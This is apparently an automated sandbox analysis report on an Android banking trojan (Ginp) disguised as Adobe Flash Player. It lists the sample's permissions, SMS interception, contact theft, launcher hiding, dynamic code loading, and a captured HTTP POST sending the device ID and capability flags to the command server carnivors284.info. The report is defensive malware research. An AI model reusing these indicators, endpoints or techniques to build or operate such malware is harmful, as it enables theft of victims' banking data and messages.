Loading ...

Play interactive tourEdit tour

Analysis Report AXG8PgmvaV

Overview

General Information

Joe Sandbox Version:28.0.0 Lapis Lazuli
Analysis ID:983771
Start date:24.10.2019
Start time:14:35:51
Joe Sandbox Product:Cloud
Overall analysis duration:0h 11m 58s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:AXG8PgmvaV
Cookbook file name:defaultandroidfilecookbook.jbs
Analysis system description:Android 7.1 Nougat
APK Instrumentation enabled:true
Detection:MAL
Classification:mal84.troj.spyw.evad.and@0/252@1/0
Warnings:
Show All
  • Excluded IPs from analysis (whitelisted): 216.58.215.227, 172.217.168.4, 172.217.168.10, 172.217.168.46, 172.217.168.78, 216.58.215.238, 172.217.168.14, 172.217.218.188
  • Excluded domains from analysis (whitelisted): connectivitycheck.gstatic.com, android.clients.google.com, android.l.google.com, www.google.com, www.googleapis.com, mobile-gtalk.l.google.com, mtalk.google.com
  • No interacted views
  • Not all executed log events are in report (maximum 10 identical API calls)
  • Not all non-executed APIs are in report
  • Not all non-executed methods are in report
  • Report size exceeded maximum capacity and may have missing behavior information.
  • Report size exceeded maximum capacity and may have missing disassembly code.
  • Report size exceeded maximum capacity and may have missing dynamic data code.

Detection

StrategyScoreRangeReportingWhitelistedThreatDetection
Threshold840 - 100Report FP / FNfalse
Ginp
malicious

Confidence

StrategyScoreRangeFurther Analysis Required?Confidence
Threshold50 - 5false
ConfidenceConfidence


Classification

Mitre Att&ck Matrix

Signature Overview

Click to jump to signature section


AV Detection:

barindex
Antivirus or Machine Learning detection for sampleShow sources
Source: AXG8PgmvaVAvira: detection malicious, Label: ANDROID/Drop.Agent.xzklp
Multi AV Scanner detection for submitted fileShow sources
Source: AXG8PgmvaVVirustotal: Detection: 25%Perma Link

Networking:

barindex
Opens an internet connectionShow sources
Source: improve.harbor.eager.q;->run:5API Call: java.net.URL.openConnection("http://carnivors284.info/api3/ping.php")
Connects to IPs without corresponding DNS lookupsShow sources
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Source: unknownTCP traffic detected without corresponding DNS query: 108.177.127.188
Found strings which match to known social media urlsShow sources
Source: classes.dexString found in binary or memory: Lcom/facebook/login/LoginClient; equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: "Lcom/facebook/login/LoginBehavior; equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: $Lcom/facebook/login/DefaultAudience; equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: (Lcom/facebook/login/LoginClient$Request; equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: ,Lcom/facebook/login/LoginClient$Result$Code; equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: Lcom/facebook/appevents/g; equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: Lcom/facebook/appevents/g;$Lcom/facebook/login/DefaultAudience;"Lcom/facebook/login/LoginBehavior;(Lcom/facebook/login/LoginClient$Request;,Lcom/facebook/login/LoginClient$Result$Code; Lcom/facebook/login/LoginClient; equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: Lcom/facebook/login/c; equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: Lcom/facebook/login/c;?Lcomfort/BMiDsFxUiPjUoTlQmRuPySeHaEqQwGiGmUoIhRjFxAzKnBxWfQyKi;3Lcomfort/GHnGpTzJtAkHeCmMzKpEgYfUnNlIcNpZlRdGxUdLl; equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: com.facebook.katana equals www.facebook.com (Facebook)
Source: DAOO.json.drString found in binary or memory: facebook equals www.facebook.com (Facebook)
Source: DAOO.json.drString found in binary or memory: twitter equals www.twitter.com (Twitter)
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: carnivors284.info
Posts data to webserverShow sources
Source: unknownHTTP traffic detected: POST /api3/ping.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; VirtualBox Build/N2G48H)Host: carnivors284.infoConnection: Keep-AliveAccept-Encoding: gzipContent-Length: 219Data Raw: 7b 22 44 45 56 49 43 45 5f 49 44 22 3a 22 62 38 65 36 38 38 62 38 37 61 62 34 31 66 39 22 2c 22 54 41 47 22 3a 22 61 64 6f 62 65 32 22 2c 22 53 4d 53 5f 41 4c 4c 4f 57 22 3a 31 2c 22 48 49 44 44 45 4e 5f 53 4d 53 5f 41 4c 4c 4f 57 22 3a 31 2c 22 43 43 5f 47 52 41 42 42 45 52 22 3a 30 2c 22 45 58 54 45 4e 44 45 44 5f 49 4e 4a 45 43 54 49 4f 4e 22 3a 30 2c 22 41 43 43 45 53 53 49 42 49 4c 49 54 59 22 3a 30 2c 22 53 43 52 45 45 4e 5f 4f 4e 22 3a 31 2c 22 49 4e 53 54 41 4c 4c 22 3a 31 2c 22 50 4b 47 5f 4e 41 4d 45 22 3a 22 61 63 63 65 73 73 2e 70 61 63 74 2e 61 67 65 6e 74 22 2c 22 52 45 4c 45 41 53 45 5f 56 45 52 53 49 4f 4e 22 3a 22 32 2e 30 64 22 7d Data Ascii: {"DEVICE_ID":"b8e688b87ab41f9","TAG":"adobe2","SMS_ALLOW":1,"HIDDEN_SMS_ALLOW":1,"CC_GRABBER":0
Urls found in memory or binary dataShow sources
Source: DAOO.json.drString found in binary or memory: http://127.0.0.1
Source: DAOO.json.drString found in binary or memory: http://carnivors284.info/api3
Source: androidString found in binary or memory: http://carnivors284.info/api3/ping.php
Source: dynload.xmlString found in binary or memory: http://schemas.android.com/apk/res/android

E-Banking Fraud:

barindex
Detected Ginp e-Banking trojan loaderShow sources
Source: Limprove/harbor/eager/MainServiceJob;->b()VMethod string: Ginp strings
Has permission to query the list of currently running applicationsShow sources
Source: submitted apkRequest permission: android.permission.GET_TASKS
May query for the most recent running application (usually for UI overlaying)Show sources
Source: improve.harbor.eager.AccessibilityWatcher$1;->rungetRunningTasks and getPackageName invocations in same method: improve.harbor.eager.AccessibilityWatcher$1;->run:10, improve.harbor.eager.AccessibilityWatcher$1;->run:13
Source: improve.harbor.eager.AccessibilityWatcher$1;->rungetRunningTasks and getPackageName invocations in same method: improve.harbor.eager.AccessibilityWatcher$1;->run:10, improve.harbor.eager.AccessibilityWatcher$1;->run:13

Spam, unwanted Advertisements and Ransom Demands:

barindex
Has permission to send SMS in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.SEND_SMS
Has permission to write to the SMS storageShow sources
Source: submitted apkRequest permission: android.permission.WRITE_SMS
Sends SMS using SmsManagerShow sources
Source: improve.harbor.eager.MainServiceJob;->a:10API Call: android.telephony.SmsManager.sendTextMessage

Change of System Appearance:

barindex
Acquires a wake lockShow sources
Source: improve.harbor.eager.AccessibilityS;->onServiceConnected:394API Call: android.os.PowerManager$WakeLock.acquire

System Summary:

barindex
Requests to ignore battery optimizationsShow sources
Source: Limprove/harbor/eager/Permissions;->d(Landroid/content/Context;)VMethod string: "android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"
Requests potentially dangerous permissionsShow sources
Source: submitted apkRequest permission: android.permission.CHANGE_NETWORK_STATE
Source: submitted apkRequest permission: android.permission.GET_TASKS
Source: submitted apkRequest permission: android.permission.INTERNET
Source: submitted apkRequest permission: android.permission.MODIFY_AUDIO_SETTINGS
Source: submitted apkRequest permission: android.permission.READ_CONTACTS
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Source: submitted apkRequest permission: android.permission.READ_SMS
Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
Source: submitted apkRequest permission: android.permission.SEND_SMS
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Source: submitted apkRequest permission: android.permission.WAKE_LOCK
Source: submitted apkRequest permission: android.permission.WRITE_EXTERNAL_STORAGE
Source: submitted apkRequest permission: android.permission.WRITE_SMS
Classification labelShow sources
Source: classification engineClassification label: mal84.troj.spyw.evad.and@0/252@1/0
Reads shares settingsShow sources
Source: improve.harbor.eager.g;->a:10API Call: "ANDROID_ID":
Source: improve.harbor.eager.g;->a:10API Call: "SERVER_SMS_URL":
Source: improve.harbor.eager.g;->a:10API Call: "SERVER_IP": http://carnivors284.info/api3
Source: improve.harbor.eager.g;->a:10API Call: "SERVER_PING_URL": http://carnivors284.info/api3/ping.php
Source: improve.harbor.eager.g;->a:10API Call: "ANDROID_ID": b8e688b87ab41f9
Source: improve.harbor.eager.g;->a:10API Call: "APP_TAG": adobe2
Source: improve.harbor.eager.g;->a:10API Call: "RELEASE_VERSION": 2.0d
Source: improve.harbor.eager.g;->a:10API Call: "APP_NAME": Adobe Flash Player

Data Obfuscation:

barindex
Obfuscates method namesShow sources
Source: AXG8PgmvaVTotal valid method names: 1%
Uses reflectionShow sources
Source: access.pact.agent.XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->wisecement:53API Call: Real call: null
Source: access.pact.agent.XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->wisecement:53API Call: Real call: public static android.app.ActivityThread android.app.ActivityThread.currentActivityThread()
Source: access.pact.agent.XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->reportmargin:44API Call: Real call: final android.util.ArrayMap android.app.ActivityThread.mPackages
Source: access.pact.agent.XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->casualpattern:18API Call: Real call: private java.lang.ClassLoader android.app.LoadedApk.mClassLoader
Source: access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->produceanchor_sub:76API Call: java.lang.reflect.Method.invoke
Source: access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->sheriffcruise:79API Call: java.lang.reflect.Field.get
Source: access.pact.agent.DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->thispanther:80API Call: java.lang.reflect.Field.get
Source: improve.harbor.eager.receivers.DownloadReceiver;->onReceive:22API Call: java.lang.reflect.Method.invoke

Persistence and Installation Behavior:

barindex
Tries to get accessibilty permissions (for UI automation)Show sources
Source: improve.harbor.eager.SettingsActivity;->onCreate:28API Call: improve.harbor.eager.SettingsActivity.startActivity

Boot Survival:

barindex
Has permission to execute code after phone rebootShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_BOOT_COMPLETED
Installs a new wake lock (to get activate on phone screen on)Show sources
Source: improve.harbor.eager.AccessibilityS;->onServiceConnected:390API Call: android.os.PowerManager.newWakeLock
Starts/registers a service/receiver on phone boot (autostart)Show sources
Source: improve.harbor.eager.receivers.MainReceiver;->onReceive:52API Call: android.content.Context.startService (not executed)
Source: improve.harbor.eager.receivers.MainReceiver;->onReceive:53API Call: android.content.Context.startService (not executed)

Hooking and other Techniques for Hiding and Protection:

barindex
Removes its application launcher (likely to stay hidden)Show sources
Source: improve.harbor.eager.PreActivity;->a:18API Call: android.content.pm.PackageManager.setComponentEnabledSetting
Source: improve.harbor.eager.AccessibilityWatcher;->onDestroy:55API Call: android.content.pm.PackageManager.setComponentEnabledSetting
Has permission to draw over other applications or user interfacesShow sources
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Has permission to query the list of currently running applicationsShow sources
Source: submitted apkRequest permission: android.permission.GET_TASKS
Queries list of running processes/tasksShow sources
Source: improve.harbor.eager.AccessibilityWatcher$1;->run:10API Call: android.app.ActivityManager.getRunningTasks

Malware Analysis System Evasion:

barindex
Queries the unique operating system id (ANDROID_ID)Show sources
Source: improve.harbor.eager.PreActivity;->onCreate:124API Call: android.provider.Settings.Secure.getString

Anti Debugging:

barindex
Access the class loader (often done to load a new code)Show sources
Source: access.pact.agent.XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->trashvoid:47API Call: java.lang.Class.getDeclaredField("mClassLoader")
Source: Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->replaceClassUnit(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)VMethod string: "mClassLoader"
Source: Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->trashvoid(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/reflect/Field;Method string: "mClassLoader"
Source: Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->fleedawn()Ljava/lang/String;Method string: "mClassLoader"

HIPS / PFW / Operating System Protection Evasion:

barindex
Uses the DexClassLoader (often used for code injection)Show sources
Source: access.pact.agent.XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->drillrhythm:20API Call: dalvik.system.DexClassLoader.<init>("/data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json")

Stealing of Sensitive Information:

barindex
Uploads sensitive phone information to the internet (privacy leak)Show sources
Source: 192.168.1.92:54824 -> 104.27.165.230:80HTTP traffic detected: Header contains sensitive information: b8e688b87ab41f9 (Secure.ANDROID_ID)
Source: 192.168.1.92:54824 -> 104.27.165.230:80HTTP traffic detected: Header contains sensitive information: b8e688b87ab41f9 (Secure.ANDROID_ID)
Source: 192.168.1.92:54824 -> 104.27.165.230:80HTTP traffic detected: Header contains sensitive information: b8e688b87ab41f9 (Secure.ANDROID_ID)
Source: 192.168.1.92:54826 -> 104.27.165.230:80HTTP traffic detected: Header contains sensitive information: b8e688b87ab41f9 (Secure.ANDROID_ID)
Creates SMS data (e.g. PDU)Show sources
Source: improve.harbor.eager.sms.IncomingSmsListener;->onReceive:30API Call: android.telephony.SmsMessage.createFromPdu
Has permission to read contactsShow sources
Source: submitted apkRequest permission: android.permission.READ_CONTACTS
Has permission to read the SMS storageShow sources
Source: submitted apkRequest permission: android.permission.READ_SMS
Has permission to read the phones state (phone number, device IDs, active call ect.)Show sources
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Has permission to receive SMS in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
Monitors incoming SMSShow sources
Source: improve.harbor.eager.sms.IncomingSmsListenerRegistered receiver: android.provider.Telephony.SMS_RECEIVED
Parses SMS data (e.g. originating address)Show sources
Source: improve.harbor.eager.sms.IncomingSmsListener;->onReceive:31API Call: android.telephony.SmsMessage.getOriginatingAddress
Source: improve.harbor.eager.sms.IncomingSmsListener;->onReceive:32API Call: android.telephony.SmsMessage.getMessageBody
Queries SMS dataShow sources
Source: improve.harbor.eager.MainServiceJob;->h:184API Call: android.net.Uri.parse("content://sms/")
Queries a list of installed applicationsShow sources
Source: improve.harbor.eager.MainServiceJob;->d:37API Call: android.content.pm.PackageManager.getInstalledApplications
Queries phone contact informationShow sources
Source: improve.harbor.eager.MainServiceJob;->g:102Field access: android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI

Remote Access Functionality:

barindex
Found parser code for incoming SMS (may be used to act on incoming SMS, BOT)Show sources
Source: improve.harbor.eager.sms.IncomingSmsListener;->onReceive:26API Call: java.lang.String.equals android.provider.Telephony.SMS_RECEIVED
Found suspicious command strings (may be related to BOT commands)Show sources
Source: Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;Method string: "hidden sms started"
Source: Limprove/harbor/eager/MainServiceJob;->b()VMethod string: "get_contacts"
Source: Limprove/harbor/eager/Permissions;->a(Landroid/content/Context;)ZMethod string: "android.permission.send_sms"
Source: Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;Instruction: "const-string v2, "hidden sms started""
Source: Limprove/harbor/eager/MainServiceJob;->b()VInstruction: "const-string v2, "get_contacts""
Source: Limprove/harbor/eager/Permissions;->a(Landroid/content/Context;)ZInstruction: "const-string v2, "android.permission.send_sms""
Uses DownloadManager to fetch additional componentsShow sources
Source: improve.harbor.eager.Installer;->onCreate:51API Call: android.app.DownloadManager.enqueue

Signature Similarity

Sample Distance (10 = nearest)
10 9 8 7 6 5 4 3 2 1
Samplename Analysis ID SHA256 Similarity

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
AXG8PgmvaV26%VirustotalBrowse
AXG8PgmvaV100%AviraANDROID/Drop.Agent.xzklp

Dropped Files

No Antivirus matches

Domains

SourceDetectionScannerLabelLink
carnivors284.info0%VirustotalBrowse

URLs

SourceDetectionScannerLabelLink
http://127.0.0.10%VirustotalBrowse
http://127.0.0.10%Avira URL Cloudsafe
http://carnivors284.info/api30%Avira URL Cloudsafe
http://carnivors284.info/api3/ping.php0%Avira URL Cloudsafe

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Joe Sandbox View / Context

IPs

MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
108.177.127.188downloadMe.apkGet hashmaliciousBrowse
    AntiVirus_com.antivirus.apkGet hashmaliciousBrowse
      AapgMZnJUbGet hashmaliciousBrowse
        fwa5d2ukPSGet hashmaliciousBrowse
          i2vKzz91dRGet hashmaliciousBrowse
            GVfg1uSjXe.apkGet hashmaliciousBrowse
              Cy740jc5PSGet hashmaliciousBrowse
                NxdkwWqZQm.apkGet hashmaliciousBrowse
                  aVEMRt6TYiGet hashmaliciousBrowse
                    2tOzBnOY5ZGet hashmaliciousBrowse
                      6MgH0XSp33Get hashmaliciousBrowse
                        connect_testGet hashmaliciousBrowse
                          com.filtershekanha.teledr_571_apkplz.net.apkGet hashmaliciousBrowse
                            DpPCix7fdW.apkGet hashmaliciousBrowse
                              rc0nWeTOKUGet hashmaliciousBrowse
                                com.cootek.smartinputv5_2019-06-06.apkGet hashmaliciousBrowse
                                  GQjDNGfQnbGet hashmaliciousBrowse
                                    yT6XDEfEZMGet hashmaliciousBrowse
                                      cpb.apkGet hashmaliciousBrowse
                                        cYdkwkn884Get hashmaliciousBrowse

                                          Domains

                                          No context

                                          ASN

                                          MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                          unknownDETAILS-24102019-P6818.docGet hashmaliciousBrowse
                                          • 166.62.6.39
                                          FA_36802305641_Oct2019.docGet hashmaliciousBrowse
                                          • 192.168.2.255
                                          RFQ- PURCHASE ORDER 270MT JEBEL ALI.docGet hashmaliciousBrowse
                                          • 23.20.239.12
                                          RFQ - NEW PURCHASE ORDER.docGet hashmaliciousBrowse
                                          • 192.168.2.255
                                          3b#U0448.exeGet hashmaliciousBrowse
                                          • 195.123.220.115
                                          info_10_22.docGet hashmaliciousBrowse
                                          • 192.168.2.255
                                          https://estudiogalt.com/HOULIHANLOKEY/Get hashmaliciousBrowse
                                          • 157.240.20.35
                                          info_10_24.docGet hashmaliciousBrowse
                                          • 194.87.111.66
                                          https://ausbuildproltd.com/Get hashmaliciousBrowse
                                          • 79.134.225.70
                                          pt6HoCUEGz.exeGet hashmaliciousBrowse
                                          • 195.123.220.115
                                          Statement.pdfGet hashmaliciousBrowse
                                          • 3.3.0.2
                                          Swift_MT103_-USD_550000_Settlement.xlsGet hashmaliciousBrowse
                                          • 104.22.3.84
                                          VwX1UeLBjq.exeGet hashmaliciousBrowse
                                          • 190.13.160.19
                                          Swift_MT103_-USD_550000_Settlement.xlsGet hashmaliciousBrowse
                                          • 104.22.3.84
                                          Swift_MT103_-USD_550000_Settlement.xlsGet hashmaliciousBrowse
                                          • 104.22.3.84
                                          Payment.docGet hashmaliciousBrowse
                                          • 104.28.28.20
                                          IT54985044967641616345156438179559489126089863741.vbsGet hashmaliciousBrowse
                                          • 185.189.151.22
                                          f.ra.000070031.docGet hashmaliciousBrowse
                                          • 8.209.83.211
                                          bonny (1).pdfGet hashmaliciousBrowse
                                          • 3.3.0.2
                                          M9HYn2QYu6.exeGet hashmaliciousBrowse
                                          • 23.23.83.153
                                          unknownDETAILS-24102019-P6818.docGet hashmaliciousBrowse
                                          • 166.62.6.39
                                          FA_36802305641_Oct2019.docGet hashmaliciousBrowse
                                          • 192.168.2.255
                                          RFQ- PURCHASE ORDER 270MT JEBEL ALI.docGet hashmaliciousBrowse
                                          • 23.20.239.12
                                          RFQ - NEW PURCHASE ORDER.docGet hashmaliciousBrowse
                                          • 192.168.2.255
                                          3b#U0448.exeGet hashmaliciousBrowse
                                          • 195.123.220.115
                                          info_10_22.docGet hashmaliciousBrowse
                                          • 192.168.2.255
                                          https://estudiogalt.com/HOULIHANLOKEY/Get hashmaliciousBrowse
                                          • 157.240.20.35
                                          info_10_24.docGet hashmaliciousBrowse
                                          • 194.87.111.66
                                          https://ausbuildproltd.com/Get hashmaliciousBrowse
                                          • 79.134.225.70
                                          pt6HoCUEGz.exeGet hashmaliciousBrowse
                                          • 195.123.220.115
                                          Statement.pdfGet hashmaliciousBrowse
                                          • 3.3.0.2
                                          Swift_MT103_-USD_550000_Settlement.xlsGet hashmaliciousBrowse
                                          • 104.22.3.84
                                          VwX1UeLBjq.exeGet hashmaliciousBrowse
                                          • 190.13.160.19
                                          Swift_MT103_-USD_550000_Settlement.xlsGet hashmaliciousBrowse
                                          • 104.22.3.84
                                          Swift_MT103_-USD_550000_Settlement.xlsGet hashmaliciousBrowse
                                          • 104.22.3.84
                                          Payment.docGet hashmaliciousBrowse
                                          • 104.28.28.20
                                          IT54985044967641616345156438179559489126089863741.vbsGet hashmaliciousBrowse
                                          • 185.189.151.22
                                          f.ra.000070031.docGet hashmaliciousBrowse
                                          • 8.209.83.211
                                          bonny (1).pdfGet hashmaliciousBrowse
                                          • 3.3.0.2
                                          M9HYn2QYu6.exeGet hashmaliciousBrowse
                                          • 23.23.83.153

                                          JA3 Fingerprints

                                          No context

                                          Dropped Files

                                          No context

                                          Screenshots

                                          Thumbnails

                                          This section contains all screenshots as thumbnails, including those not shown in the slideshow.

                                          android-buttoncam-android

                                          Created / dropped Files

                                          /data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json
                                          File Type:Dalvik dex file version 035
                                          Size (bytes):744608
                                          Entropy (8bit):5.749166669165383
                                          Encrypted:false
                                          MD5:6509509285F90228C300A80B4E327B9A
                                          SHA1:C751CBED548CF67DB17F518E6A4C21442DC96965
                                          SHA-256:0B567625AA582FF30F1316911F4F3309BA1641053E54F696F7BE70C31993907F
                                          SHA-512:41F2327A8471F2204C8672B0E67F50AFE765F9CAB5E8498EE538B7C03B9EF7DA1B99C6CE4CDA0ABEAEA0097ACC046172A02CF9F5DBF51786EDB541B4DC37982F
                                          Malicious:false
                                          Reputation:low
                                          Preview:

                                          Domains and IPs

                                          Contacted Domains

                                          NameIPActiveMaliciousAntivirus DetectionReputation
                                          carnivors284.info
                                          104.27.165.230
                                          truefalseunknown

                                          Contacted URLs

                                          NameMaliciousAntivirus DetectionReputation
                                          http://carnivors284.info/api3/ping.phpfalse
                                          • Avira URL Cloud: safe
                                          unknown

                                          URLs from Memory and Binaries

                                          NameSourceMaliciousAntivirus DetectionReputation
                                          http://schemas.android.com/apk/res/androiddynload.xmlfalse
                                            high
                                            http://127.0.0.1DAOO.json.drfalse
                                            • 0%, Virustotal, Browse
                                            • Avira URL Cloud: safe
                                            unknown
                                            http://carnivors284.info/api3DAOO.json.drfalse
                                            • Avira URL Cloud: safe
                                            unknown

                                            Contacted IPs

                                            • No. of IPs < 25%
                                            • 25% < No. of IPs < 50%
                                            • 50% < No. of IPs < 75%
                                            • 75% < No. of IPs

                                            Public

                                            IPCountryFlagASNASN NameMalicious
                                            108.177.127.188
                                            United States
                                            15169unknownfalse
                                            104.27.165.230
                                            United States
                                            13335unknownfalse

                                            Static File Info

                                            General

                                            File type:Java archive data (JAR)
                                            Entropy (8bit):7.990983706452838
                                            TrID:
                                            • Android Package (19004/1) 45.24%
                                            • Java Archive (13504/1) 32.15%
                                            • ZIP compressed archive (8000/1) 19.04%
                                            • Java Script embedded in Visual Basic Script (1500/0) 3.57%
                                            File name:AXG8PgmvaV
                                            File size:1135464
                                            MD5:ac67f1b22d6c7812003609de284a9ad9
                                            SHA1:4f5d494e8184d793b79385add00257f7981f590f
                                            SHA256:df38039bb21d9ed1a0bf11b9bb2e4c77594e93e3be0ec7d20b830395dd9abb96
                                            SHA512:e7133c8bd6803efee95a2d9b04eacc6869bd48c6cfef9ffc8d113bba7fcfc62eb6ba622e78f72b829ca40bb5c193fd21544c9ee32605834714d96a978c0aa828
                                            SSDEEP:24576:LJ7VbCuAwqe9j6CWTdjwP2xUTXlVrjNw9Tn/opYYYYYYlKTiVQGwsByh:LpBQwqeM3djG2G/14bgYYYYYYbVDwsgh
                                            File Content Preview:PK........T.VO................META-INF/MANIFEST.MF.......n.0...=...rF.[ .T..i.d.$...M...1$N..[.~:U.i.T......?..rv$B..$.,...^.[.=%.J.[Z.~...8N"..6......Z...!yh$DtB..0n.8f.l.a.%.)G>I.1...=.........r.[...q.HL......X.7..._.c...}."........M.s..N..T..}.s..O...H

                                            File Icon

                                            Static APK Info

                                            General

                                            Label:Adobe Flash Player
                                            Minimum SDK required:21
                                            Target SDK required:28
                                            Version Code:1
                                            Version Name:1
                                            Package Name:access.pact.agent
                                            Is Activity:true
                                            Is Receiver:true
                                            Is Service:true
                                            Requests System Level Permissions:false
                                            Play Store Compatible:true

                                            Activities

                                            NameIs Entrypoint
                                            access.pact.agentimprove.harbor.eager.BKuJjPeYq
                                            access.pact.agentimprove.harbor.eager.SEqUqCrMmUwNoDn
                                            access.pact.agentimprove.harbor.eager.Permissions
                                            access.pact.agentimprove.harbor.eager.JTnKnWcArEhLaCjPpOwXtAjDkAtPgQzEz
                                            access.pact.agentimprove.harbor.eager.IHwCaRuNnCbZoFl
                                            access.pact.agentimprove.harbor.eager.HtmlLoader
                                            access.pact.agentimprove.harbor.eager.XEmCgTyPoSeHd
                                            access.pact.agentimprove.harbor.eager.JUoWgToQrUoLc
                                            access.pact.agentimprove.harbor.eager.SettingsActivity
                                            access.pact.agentimprove.harbor.eager.JDiJqEnKiJlGsMrEkQdDmDxArEyZxMpGpGgEcCuMyHlBsYuYiCqPl
                                            access.pact.agentimprove.harbor.eager.PreActivitytrue
                                            access.pact.agentimprove.harbor.eager.FLmDnJrSpKlGiNdNdWbXnYsNbUhThOdOaWaXnEcHq
                                            access.pact.agentimprove.harbor.eager.SPuRcEoGfHq
                                            access.pact.agentimprove.harbor.eager.Installer
                                            access.pact.agentimprove.harbor.eager.DAwJcJoThTuEbZnXs
                                            access.pact.agentimprove.harbor.eager.SettingsUnknownApps
                                            access.pact.agentimprove.harbor.eager.RNtFmOpJp
                                            access.pact.agentimprove.harbor.eager.JPyJxTrWhJmPbDuWmNwBeLlOjXnCfQqLcYzSlJcDxDlFsNlUx
                                            access.pact.agentimprove.harbor.eager.MSaTsIeIoWoAbOrOkAbAySsOySmMgLxDxFwYu
                                            access.pact.agentimprove.harbor.eager.ZXbTtOpHxHsUpWzOlDsKmXiUgXaBhKzUnKw
                                            access.pact.agentimprove.harbor.eager.OPpPnKiOcQaGgTfNfDc
                                            access.pact.agentimprove.harbor.eager.EBlHbAaTwIp
                                            access.pact.agentimprove.harbor.eager.IRlBeBhMfUcNlSsKbOzOaAgKxIiRpMfPtIqKpPqCaQqObGbCtGwKh
                                            access.pact.agentimprove.harbor.eager.HUfYkRmJiCdWfPyTeCuMoWsEaGwQzIk
                                            access.pact.agentimprove.harbor.eager.BHzGmCjOpAaKpOwIkIcCnOaWcMrJmReOoPeDcCfUxNd
                                            access.pact.agentimprove.harbor.eager.KJcBeApAoJiCiEh
                                            access.pact.agentimprove.harbor.eager.HTjEiXwGrMzDoNfSzOdGwBsOkYsSb
                                            access.pact.agentimprove.harbor.eager.WTbKaDzKlNoXxObNhLiOjMwDnBl
                                            access.pact.agentimprove.harbor.eager.CCsWdLySqXwHyCoTjHhGuLs
                                            access.pact.agentimprove.harbor.eager.sms.AskToChangeSMS
                                            access.pact.agentimprove.harbor.eager.CLwAaXkFiKhRoZmShHjEnZzAsEdJpBgWzWnReDfRzXwEf
                                            access.pact.agentimprove.harbor.eager.YOjWeEsQfLnKnGbLq
                                            access.pact.agentimprove.harbor.eager.sms.ADAlUIRPwiJPnyywX
                                            access.pact.agentimprove.harbor.eager.SHxGbHbYwMpGlFfXyZzCkEuDuMwNgKqXbWxIhFfXk
